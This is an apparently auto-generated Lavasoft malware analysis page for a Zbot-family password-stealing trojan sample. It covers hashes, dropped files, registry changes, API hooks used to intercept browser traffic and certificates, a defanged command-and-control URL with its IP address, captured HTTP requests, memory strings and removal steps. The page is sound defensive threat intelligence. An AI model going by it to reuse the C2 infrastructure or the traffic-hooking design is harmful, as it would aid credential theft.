Trojan.GenericKD.1968557_598f2d5cea

by malwarelabrobot on December 16th, 2014 in Malware Descriptions.

Trojan.GenericKD.1968557 (AdAware), Trojan-PSW.Win32.Zbot.6.FD, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

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Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 598f2d5ceaf82dbaf2c53dacd6625e90
SHA1: aee35e4aeaf07339c8b283388f12160f10539a74
SHA256: c66b5334f0e536e7cfb90f59b2d36d1a10a8315e15825d0331e1919a13662932
SSDeep: 3072:2yyW0cvYJkpD3zI2DWXoIErTFCQFO80f9DRA54hH6t 6bTUlK3/hVzJYasex08hV:29cvftp64oyOpFDRDaXolK3ZVo8UIaO
Size: 200776 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2014-10-07 07:42:09
Analyzed on: WindowsXPESX SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

ceygr.exe:1948
ceygr.exe:2020
%original file name%.exe:1140
%original file name%.exe:1856

The Trojan injects its code into the following process(es):

Explorer.EXE:512

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process ceygr.exe:2020 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsyB6.tmp (2784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nstB7.tmp\purgings.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\barrier\purgings.md (5064 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nstB7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsiB5.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nstB7.tmp\purgings.dll (0 bytes)

The process %original file name%.exe:1140 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsuB3.tmp (2784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsaB4.tmp\purgings.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\barrier\purgings.md (5064 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nseB2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsaB4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsaB4.tmp\purgings.dll (0 bytes)

The process %original file name%.exe:1856 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmp7bb995f0.bat (177 bytes)
%Documents and Settings%\%current user%\Application Data\Ulxy\ceygr.exe (200 bytes)

Registry activity

The process ceygr.exe:1948 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "27 14 DB D1 26 39 66 7D 9B D1 63 BC 94 18 4F 61"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process ceygr.exe:2020 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "94 7E 3C 76 AE 51 3C 09 FB 38 94 3E E6 20 97 40"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process %original file name%.exe:1140 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5E AD 67 15 3D B1 33 3A E7 1D FD F6 B7 2D 5C B1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process %original file name%.exe:1856 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "04 73 72 A7 A7 0F C9 77 AC A0 9A B5 65 09 E8 F3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

MD5 File path
0af80e78932e5293d084713da1f55a2d c:\Documents and Settings\"%CurrentUserName%"\Application Data\Ulxy\ceygr.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

VersionInfo

Company Name: Chris Long
Product Name: Setup
Product Version: 7.5.7.7
Legal Copyright: Copyright by Chris Long 2014. All rights reserved.
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 7.5.7.7
File Description: SSE Setup 7.5
Comments:
Language: Language Neutral

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 26454 26624 4.50428 dc24f50d7bd1134ca24740c1a4757e06
.rdata 32768 5032 5120 3.56174 1e6e42d86e90ab8804db6969c0d7a1e9
.data 40960 3806136 6144 2.33557 78fae8c1b2767e2e37eb3fecf8352e83
.ndata 3850240 65536 0 0 d41d8cd98f00b204e9800998ecf8427e
.rsrc 3915776 10440 10752 2.48911 a5c376253517fa235db4d78ee12f344f

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://musuqrentacar.com/fotos/foto/PANEL/config.bin 69.162.91.99


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Possible Zbot Activity Common Download Struct
ET CURRENT_EVENTS Zbot Generic URI/Header Struct .bin

Traffic

GET /fotos/foto/PANEL/config.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: musuqrentacar.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 15 Dec 2014 03:57:12 GMT
Server: Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
Content-Length: 484
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /fo
tos/foto/PANEL/config.bin was not found on this server.</p>.<
p>Additionally, a 404 Not Found.error was encountered while trying 
to use an ErrorDocument to handle the request.</p>.<hr>.&l
t;address>Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/0.9.8e-fips-r
hel5 mod_bwlimited/1.4 Server at musuqrentacar.com Port 80</address
>.</body></html>...



GET /fotos/foto/PANEL/config.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: musuqrentacar.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 15 Dec 2014 03:57:07 GMT
Server: Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
Content-Length: 484
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /fo
tos/foto/PANEL/config.bin was not found on this server.</p>.<
p>Additionally, a 404 Not Found.error was encountered while trying 
to use an ErrorDocument to handle the request.</p>.<hr>.&l
t;address>Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/0.9.8e-fips-r
hel5 mod_bwlimited/1.4 Server at musuqrentacar.com Port 80</address
>.</body></html>...



GET /fotos/foto/PANEL/config.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: musuqrentacar.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 15 Dec 2014 03:57:01 GMT
Server: Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
Content-Length: 484
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /fo
tos/foto/PANEL/config.bin was not found on this server.</p>.<
p>Additionally, a 404 Not Found.error was encountered while trying 
to use an ErrorDocument to handle the request.</p>.<hr>.&l
t;address>Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/0.9.8e-fips-r
hel5 mod_bwlimited/1.4 Server at musuqrentacar.com Port 80</address
>.</body></html>...



GET /fotos/foto/PANEL/config.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: musuqrentacar.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 15 Dec 2014 03:56:56 GMT
Server: Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
Content-Length: 484
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /fo
tos/foto/PANEL/config.bin was not found on this server.</p>.<
p>Additionally, a 404 Not Found.error was encountered while trying 
to use an ErrorDocument to handle the request.</p>.<hr>.&l
t;address>Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/0.9.8e-fips-r
hel5 mod_bwlimited/1.4 Server at musuqrentacar.com Port 80</address
>.</body></html>...



GET /fotos/foto/PANEL/config.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: musuqrentacar.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 15 Dec 2014 03:56:56 GMT
Server: Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
Content-Length: 484
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /fo
tos/foto/PANEL/config.bin was not found on this server.</p>.<
p>Additionally, a 404 Not Found.error was encountered while trying 
to use an ErrorDocument to handle the request.</p>.<hr>.&l
t;address>Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/0.9.8e-fips-r
hel5 mod_bwlimited/1.4 Server at musuqrentacar.com Port 80</address
>.</body></html>...



GET /fotos/foto/PANEL/config.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: musuqrentacar.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 15 Dec 2014 03:57:12 GMT
Server: Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
Content-Length: 484
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /fo
tos/foto/PANEL/config.bin was not found on this server.</p>.<
p>Additionally, a 404 Not Found.error was encountered while trying 
to use an ErrorDocument to handle the request.</p>.<hr>.&l
t;address>Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/0.9.8e-fips-r
hel5 mod_bwlimited/1.4 Server at musuqrentacar.com Port 80</address
>.</body></html>...



GET /fotos/foto/PANEL/config.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: musuqrentacar.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 15 Dec 2014 03:57:01 GMT
Server: Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
Content-Length: 484
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /fo
tos/foto/PANEL/config.bin was not found on this server.</p>.<
p>Additionally, a 404 Not Found.error was encountered while trying 
to use an ErrorDocument to handle the request.</p>.<hr>.&l
t;address>Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/0.9.8e-fips-r
hel5 mod_bwlimited/1.4 Server at musuqrentacar.com Port 80</address
>.</body></html>...



GET /fotos/foto/PANEL/config.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: musuqrentacar.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 15 Dec 2014 03:57:17 GMT
Server: Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
Content-Length: 484
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /fo
tos/foto/PANEL/config.bin was not found on this server.</p>.<
p>Additionally, a 404 Not Found.error was encountered while trying 
to use an ErrorDocument to handle the request.</..



GET /fotos/foto/PANEL/config.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: musuqrentacar.com
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Mon, 15 Dec 2014 03:57:07 GMT
Server: Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
Content-Length: 484
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /fo
tos/foto/PANEL/config.bin was not found on this server.</p>.<
p>Additionally, a 404 Not Found.error was encountered while trying 
to use an ErrorDocument to handle the request.</p>.<hr>.&l
t;address>Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/0.9.8e-fips-r
hel5 mod_bwlimited/1.4 Server at musuqrentacar.com Port 80</address
>.</body></html>...

The Trojan connects to the servers at the folowing location(s):

Explorer.EXE_512_rwx_00F30000_00027000:

.text
`.data
.reloc
hXXp://VVV.google.com/webhp
PR_OpenTCPSocket
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
: ;2*8.>
3.#70!2)
x#m`a`cmddt-
6 !26!1'1
7"52),,>
;<)?$*%,
71.(5;4=
(203,2$0
/?./,5 <
:>(<<44=3%
8%/<8/?)?/
%/><!8?>!
HTTP/1.1
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
urlmon.dll
cabinet.dll
hXXp://
hXXps://
HTTP/1.
SSSh,4
GetProcessHeap
KERNEL32.dll
SetKeyboardState
ExitWindowsEx
MsgWaitForMultipleObjects
MapVirtualKeyW
GetKeyboardState
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
USER32.dll
RegOpenKeyExW
RegEnumKeyExW
RegCloseKey
RegCreateKeyExW
ADVAPI32.dll
PathIsURLW
UrlUnescapeA
SHDeleteKeyW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
PFXImportCertStore
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
HttpSendRequestExW
HttpSendRequestW
HttpSendRequestA
InternetCrackUrlA
HttpOpenRequestA
HttpAddRequestHeadersA
GetUrlCacheEntryInfoW
HttpAddRequestHeadersW
WININET.dll
OLEAUT32.dll
NETAPI32.dll
#H.Gg
6 6&6/656{6
cGlobal\XXX
nspr4.dll
nss3.dll
SysShadow
kernel32.dll
"%s" %s
/c "%s"
%sx.%s
%sx
%Documents and Settings%\%current user%\Application Data\Emap\udlio.etz
%Documents and Settings%\%current user%\Application Data\Emap
udlio.etz
Global\{DC9DACB1-3170-0D71-DDA4-9A45266A348D}
%Documents and Settings%\%current user%\Application Data
{4AE61E94-8355-9B0A-DDA4-9A45266A348D}


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    ceygr.exe:1948
    ceygr.exe:2020
    %original file name%.exe:1140
    %original file name%.exe:1856

  3. Delete the original Trojan file.
  4. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temp\nsyB6.tmp (2784 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nstB7.tmp\purgings.dll (11 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\barrier\purgings.md (5064 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsuB3.tmp (2784 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsaB4.tmp\purgings.dll (11 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\tmp7bb995f0.bat (177 bytes)
    %Documents and Settings%\%current user%\Application Data\Ulxy\ceygr.exe (200 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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